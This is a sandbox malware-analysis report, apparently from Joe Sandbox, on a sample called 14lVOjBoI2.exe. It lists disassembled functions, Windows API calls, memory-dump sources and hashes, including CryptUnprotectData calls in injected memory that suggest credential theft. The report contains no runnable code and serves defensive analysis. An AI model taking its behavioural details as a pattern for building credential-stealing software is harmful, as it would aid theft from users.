Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-297319885
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 100015B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD
wsprintfW.USER32 ref: 100015F2

Strings

s<u, xrefs: 100015F2

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: AllocGloballstrcpywsprintf
String ID: s<u
API String ID: 2689062267-779365171
Opcode ID: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction ID: d9a8518b4a308c4ae7950fd45204b89885c5383cf9e926244676a8cd36a9aa9c
Opcode Fuzzy Hash: b666731ea850b0db34310f966fc1483e79c072b1553816228d181fcf3b6ead58
Instruction Fuzzy Hash: 68E02070205C21E7F121D7249C88ACD37F4EF812E77124124F706EA18CDB31CA434785

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00403809 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76F93420,00000000,C:\Users\user\AppData\Local\Temp\,004037E1,004035F6,?), ref: 00403823
GlobalFree.KERNEL32(?), ref: 0040382A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403809

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-297319885
Opcode ID: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction ID: 1a021970d57ae41c51ef9a97853206db199f5c9852ffd88fd16926185a7b9e14
Opcode Fuzzy Hash: 5898abf10019027861f76b75f8a0bd4982bc330ca6c5028dc7fe5a6e65d5b297
Instruction Fuzzy Hash: 72E0EC3350162097C7216F55BD08B6AB7ACAF4DB22F4584BAE880BB2608B745C428BD8

Function 00405A55 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\14lVOjBoI2.exe,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A5B
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E5A,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\14lVOjBoI2.exe,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405A6B

Strings

C:\Users\user\Desktop, xrefs: 00405A55

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-2743851969
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: bc07cd37d8a58f62a2b9a6dad95115890aa924a9f687d43278fd1307a4d4e217
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 7ED05EB2400D209AD312A714DC84DAF77ACEF1530074A446BF441A31A0D7785D918AA9

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Analysis Process: 14lVOjBoI2.exePID: 8088, Parent PID: 7572COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.7%
Total number of Nodes:	347
Total number of Limit Nodes:	24

Executed Functions

Function 00114328 Relevance: 3.9, Strings: 3, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o#p, xrefs: 001143AA
Lj#p, xrefs: 0011452E
Lj#p, xrefs: 00114518

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: 0o#p$Lj#p$Lj#p
API String ID: 0-1178635779
Opcode ID: c6f462a4bd88b64a7c7d66a374412a55205266d41798668af1b98fe8dfa017a9
Instruction ID: 35a673669e6ac638ed4e91f890d72ca5529ef4d930766d3559dfcb8bc03a1ba1
Opcode Fuzzy Hash: c6f462a4bd88b64a7c7d66a374412a55205266d41798668af1b98fe8dfa017a9
Instruction Fuzzy Hash: F491B374E00258DFEB58CFA9D884ADDBBF2BF89300F158069E419AB365DB349981CF50

Function 00118DA0 Relevance: 2.4, Strings: 1, Instructions: 1138COMMON

Download Yara Rule

Strings

$, xrefs: 00119498

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 85229d0f9bc521d3b9bd26384755452da3513b14561427c65e112e3c62830649
Instruction ID: ca422c7da3e934b411e38e65635a911323dbbfec3f19f80636a2bd2f18342cc8
Opcode Fuzzy Hash: 85229d0f9bc521d3b9bd26384755452da3513b14561427c65e112e3c62830649
Instruction Fuzzy Hash: 33A27E70A04209DFCB19CF68D8A4AEEBBF2BF88310F158569E415DB2A1D731ED85CB51

Function 38D7D9D9 Relevance: 1.6, APIs: 1, Instructions: 56
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000030,?,00000000,?,?,?,?), ref: 38D7DA45

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f98f445920066b06804b4aa7ab59018400251962776f09991f1485fba70ee4ac
Instruction ID: db90cbaa6088b46415d7c9d2ae4c11ad15f9b9de5cbf39754814a2a2839f31bf
Opcode Fuzzy Hash: f98f445920066b06804b4aa7ab59018400251962776f09991f1485fba70ee4ac
Instruction Fuzzy Hash: 521167B6804249DFDB10CF9AC841BDEBFF5EF48320F108429E954A7610C379A590CFA1

Function 38D7D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(00000030,?,00000000,?,?,?,?), ref: 38D7DA45

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 9be94264b74f4800400112b73ecbd74e5d33e3c50f674b700942a642f089f6f2
Instruction ID: ff42ab74c49d7fba1748b52b401e0eb5c0cdad0ad539896bb49eec713ef8e891
Opcode Fuzzy Hash: 9be94264b74f4800400112b73ecbd74e5d33e3c50f674b700942a642f089f6f2
Instruction Fuzzy Hash: C3115676804349DFDB10CF9AC805BDEBBF4EF48360F108429E958A7210C379A950CFA1

Function 38D70C1B Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

y8, xrefs: 38D70C99

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: y8
API String ID: 0-3143093990
Opcode ID: 89964aae563f4d0854ada373a725ce09e7e8c76df1fbc21ea2c8face76f4874c
Instruction ID: 425c8d3053bdf12c03e44072868f9213e1ab350d994bb84081e8212be6a68984
Opcode Fuzzy Hash: 89964aae563f4d0854ada373a725ce09e7e8c76df1fbc21ea2c8face76f4874c
Instruction Fuzzy Hash: CAA12574900308CFEB14DFA9D884BDDBBB1BF89310F20826AE448AB291DB749985CF55

Function 38D70C28 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

y8, xrefs: 38D70C99

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: y8
API String ID: 0-3143093990
Opcode ID: 8f8ee9028ad0689ddf003a98144583d20032cd553c56e7eef6fbff092e347065
Instruction ID: 6dc5f6b1e963f3d99bd99c0fae842c1905cc83b8d4828cd82e64a7aca6f607c1
Opcode Fuzzy Hash: 8f8ee9028ad0689ddf003a98144583d20032cd553c56e7eef6fbff092e347065
Instruction Fuzzy Hash: 2CA1F474D00308CFEB14DFA9D984BDDBBB1BF89314F208269E448A72A1DB749985CF55

Function 392CE5C8 Relevance: .8, Instructions: 764COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672809134.00000000392C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 392C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_392c0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 502fe847a0326204be624d66353e538206102257b2a65862df8e473820313dc7
Instruction ID: 5616453f8f97891193507841fc23adac6f2ddb6fd7a32e45cee41fe8eb1d4055
Opcode Fuzzy Hash: 502fe847a0326204be624d66353e538206102257b2a65862df8e473820313dc7
Instruction Fuzzy Hash: 9182A274A41228CFDB29DF64C895BD9BBB2FF89301F1081A9E40A67354DB359E82DF50

Function 38DCBDF0 Relevance: .8, Instructions: 758COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aec3ec86712c96bda17cf67e0594da153a117be13d682682e5072c6dc950f68
Instruction ID: 9916c6eb807367862ffdf5a50eccf12bc76e1565688a8826652db4dfde3d135e
Opcode Fuzzy Hash: 8aec3ec86712c96bda17cf67e0594da153a117be13d682682e5072c6dc950f68
Instruction Fuzzy Hash: B772B274A41218CFDB29DF64C895BD9BBB2FF89301F1081A9E50A67364CB359E82DF50

Function 38DC8650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e05694f6d392edb72c765dae086c63a466b9d8b66a4efc4fba0d6f86a08ca4ea
Instruction ID: 729d56d88e8ef4163c9a83339ceff01737217d4a75c105a3955a2e01dfefbe9e
Opcode Fuzzy Hash: e05694f6d392edb72c765dae086c63a466b9d8b66a4efc4fba0d6f86a08ca4ea
Instruction Fuzzy Hash: EB72CB74E01268CFEB64CF69C880BDDBBB2BB49341F5481EAD849A7251DB359E81CF50

Function 001127B9 Relevance: .7, Instructions: 697COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8303d9bcd5b00f9f5fb648c607498c855f80bb399899ed9eb76e3b1c1b771bb0
Instruction ID: 7b66faf34dbcaad75bf11b2c0eb5f28191ac970b866b0f58b4023f08cc99c07e
Opcode Fuzzy Hash: 8303d9bcd5b00f9f5fb648c607498c855f80bb399899ed9eb76e3b1c1b771bb0
Instruction Fuzzy Hash: ED42093295E3A59FD7875B748CA41803BB1BF5B20539E08EAD8C18F467F2650E87CB25

Function 00115F90 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2643138161.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_110000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e99cb1c3b761ebc5db6df21b5740f2714dc809dcff4b48e983a0e3296b9686
Instruction ID: fc78af69b65bd104f79b467134afa6b275069d2ec51aa93bf8a728e1a93fd48f
Opcode Fuzzy Hash: 27e99cb1c3b761ebc5db6df21b5740f2714dc809dcff4b48e983a0e3296b9686
